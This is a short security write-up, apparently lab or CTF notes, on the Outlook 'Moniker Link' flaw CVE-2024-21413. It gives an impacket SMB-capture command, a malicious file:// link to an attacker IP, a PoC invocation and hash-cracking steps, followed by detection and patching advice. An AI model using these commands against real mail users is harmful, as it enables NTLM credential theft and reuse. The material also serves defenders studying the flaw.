Moniker Link in Microsoft Outlook (CVE-2024-21413)

CVE-2024-21413 (nicknamed Moniker Link) is an input-validation flaw in Microsoft Outlook. Outlook handles file:// links specially, but if the path includes a ! character (a COM moniker, like file://server/resource!something), the client bypasses Protected View and resolves the resource directly. Point that resource at an attacker-controlled SMB server and Outlook tries to authenticate against it, leaking the NetNTLMv2 hash of the user who reads the mail. In some setups merely previewing the message in the reading pane is enough, no click required.

The typical abuse chains three pieces:

1. A valid mail account to send the message from (on boxes like Mailing it's obtained by cracking a leaked hash from the mail server itself).
2. An SMB server listening to collect the authentication, e.g. with impacket:

smbserver.py share $(pwd) -smb2support

1. A PoC that builds the email with the malicious link (file://10.10.16.6/share/x!y) and sends it over SMTP to the target recipient:

python3 exploit.py    # sender = controlled account, recipient = victim, link = attacker SMB

When the victim opens (or previews) the mail, the SMB server logs their user::DOMAIN:... NetNTLMv2, which is cracked offline with john/hashcat (-m 5600). It's credential theft, not code execution: the value is in reusing the recovered password on other services (SMB, WinRM, etc.).

How to detect it. The vector leaves two footprints. At the mail gateway, a message whose body contains a file://.../...!... link (the ! moniker character is the signature) should be flagged before delivery. At the endpoint, OUTLOOK.EXE establishing an outbound SMB connection to an external IP right when opening or previewing a mail is anomalous, because Outlook does not speak SMB to the Internet; an SMB honeypot/canary logging any inbound authentication catches it instantly. The leak is a NetNTLMv2, so later reuse of that credential (a 4624 from an unusual host) closes the chain.

Defence. Apply Microsoft's patch (February 2024); block outbound SMB to untrusted networks; disable or restrict NTLM; and filter emails with suspicious links. CVSS ≈ 9.8.